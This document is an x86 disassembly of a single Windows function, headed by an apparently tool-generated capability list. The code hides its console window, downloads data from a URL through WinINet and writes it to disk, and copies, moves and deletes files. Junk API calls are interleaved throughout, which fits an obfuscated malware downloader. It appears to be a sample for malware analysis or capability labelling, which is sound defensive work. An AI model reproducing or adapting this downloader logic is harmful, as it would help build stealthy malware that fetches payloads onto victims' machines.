Function at 0x402540
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Copy file
Create http request
Delete directory
Download and write a file
Get common file path
Get disk information
Get file attributes
Get memory capacity
Hide graphical window
Move file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x65c
mov eax, dword [0x41b0b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0x103
lea ecx, [ebp - 0x107]
push 0
push ecx
mov dword [ebp - 0x640], eax
mov byte [ebp - 0x108], 0
call fcn.0040a9c0
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
add esp, 0xc
push 1
push 0x264
push 0x2af
push 0x3ed
push 0x30c
call esi
push eax
call dword [sym.imp.USER32.dll_MoveWindow]
lea edx, [ebp - 0x61c]
push edx
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
push 0x415494
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0x415490
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
cmp dword [edi + 0x14], 0x10
jb 0x4025d7
mov edi, dword [edi]
push ebx
push edi
lea eax, [ebp - 0x108]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0
call esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x41547c
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0x415470
push 0x415464
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 1
push 0x41545c
push 0x415454
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x61c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x1243
push 0x5b
mov dword [ebp - 0x650], eax
call esi
push eax
call dword [sym.imp.USER32.dll_SetTimer]
lea eax, [ebp - 0x61c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0
call esi
mov edi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call edi
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea ecx, [ebp - 0x630]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
cmp dword [ebp - 0x650], 0xffffffff
je 0x402c04
push 0
push 0
push 0
push 0
push 0x415450
call dword [sym.imp.WININET.dll_InternetOpenA]
lea edx, [ebp - 0x61c]
push edx
mov dword [ebp - 0x658], eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0
call esi
push eax
call edi
push 0xfffffffffffffff0
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0x1be
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
push 0
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push 0x415448
push 0x41543c
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov eax, dword [ebp - 0x658]
test eax, eax
je 0x402bdd
mov ecx, dword [ebp - 0x640]
cmp dword [ecx + 0x14], 0x10
jb 0x402748
mov ecx, dword [ecx]
push 0
push 0x4000000
push 0
push 0
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
push 0
push 0x18
push 0x42
push 0
mov dword [ebp - 0x654], eax
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x25b
call esi
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push 4
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindow]
lea eax, [ebp - 0x630]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
cmp dword [ebp - 0x654], 0
je 0x402baf
push 0x500000
call fcn.0040999b
add esp, 4
push 0
push 0x56
push 0
mov dword [ebp - 0x640], eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push 0xffffffffffffffeb
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0
call esi
push eax
call edi
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x644]
push edx
call esi
push eax
call edi
xor edi, edi
push edi
mov dword [ebp - 0x644], edi
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push edi
push 0x41542c
push 0x415424
call dword [sym.imp.KERNEL32.dll_CopyFileA]
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x41541c
call esi
mov ebx, dword [sym.imp.USER32.dll_SetWindowTextA]
push eax
call ebx
push 0xfffffffffffffff0
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
lea eax, [ebp - 0x630]
push eax
push edi
mov dword [ebp - 0x648], edi
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0x415414
call esi
push eax
call ebx
lea ecx, [ebp - 0x64c]
push ecx
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push edi
call esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 0x654]
lea edx, [ebp - 0x648]
push edx
push 0x400
lea eax, [ebp - 0x60c]
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4029ba
lea esp, [esp]
mov eax, dword [ebp - 0x648]
test eax, eax
je 0x4029b4
push eax
mov eax, dword [ebp - 0x640]
lea edx, [ebp - 0x60c]
push edx
lea ecx, [edi + eax]
push ecx
call fcn.00409b40
add esp, 0xc
push 0
push 0
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push 0x415408
push 0x4153fc
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0x4153f4
call esi
push eax
call ebx
push 0x37a
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [ebp - 0x63c]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
add edi, dword [ebp - 0x648]
lea eax, [ebp - 0x64c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push 1
call esi
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
push 0x4153e8
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
push 0x51
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea ecx, [ebp - 0x61c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, dword [ebp - 0x654]
lea edx, [ebp - 0x648]
push edx
push 0x400
lea eax, [ebp - 0x60c]
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x4028c0
mov dword [ebp - 0x644], edi
lea edx, [ebp - 0x644]
push edx
lea eax, [ebp - 0x640]
push eax
call fcn.00402060
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea ecx, [ebp - 0x64c]
push ecx
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x4153e0
call esi
push eax
call ebx
mov eax, dword [ebp - 0x644]
mov edi, dword [ebp - 0x640]
mov ecx, dword [ebp - 0x650]
push 0
lea edx, [ebp - 0x65c]
push edx
push eax
push edi
push ecx
mov dword [ebp - 0x65c], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 1
push 0x235
push 0x16a
push 0x3eb
push 0x340
call esi
push eax
call dword [sym.imp.USER32.dll_MoveWindow]
push 0
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
push 0
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push 0x4153d8
push 0x4153cc
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x4153bc
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push edi
call fcn.0040aa3a
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push 0x4153b0
call esi
push eax
call ebx
mov ebx, dword [sym.imp.USER32.dll_GetDC]
push 0
call ebx
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov edx, dword [ebp - 0x654]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edx
call edi
call dword [sym.imp.KERNEL32.dll_GetACP]
lea eax, [ebp - 0x61c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0
push 0x2299
push 0x40
call esi
push eax
call dword [sym.imp.USER32.dll_SetTimer]
mov ecx, dword [ebp - 0x658]
push ecx
call edi
lea edx, [ebp - 0x64c]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push 0
call ebx
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
lea eax, [ebp - 0x61c]
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov ecx, dword [ebp - 0x650]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4153a4
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
lea edx, [ebp - 0x61c]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 1
push 0x137
push 0x22a
push 0x3d7
push 0x315
call esi
push eax
call dword [sym.imp.USER32.dll_MoveWindow]
push 0xfffffffffffffff0
call esi
mov edi, dword [sym.imp.USER32.dll_GetWindowLongA]
push eax
call edi
push 0xfffffffffffffff0
call esi
push eax
call edi
push 0
push 0x3b
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push 0
push 0x1744
push 0x72
call esi
push eax
call dword [sym.imp.USER32.dll_SetTimer]
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a6c1
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x658]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea ecx, [ebp - 0x61c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea edx, [ebp - 0x64c]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov eax, dword [ebp - 0x650]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x2606
push 0x47
call esi
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor al, al
pop ebx
call fcn.0040a6c1
mov esp, ebp
pop ebp
ret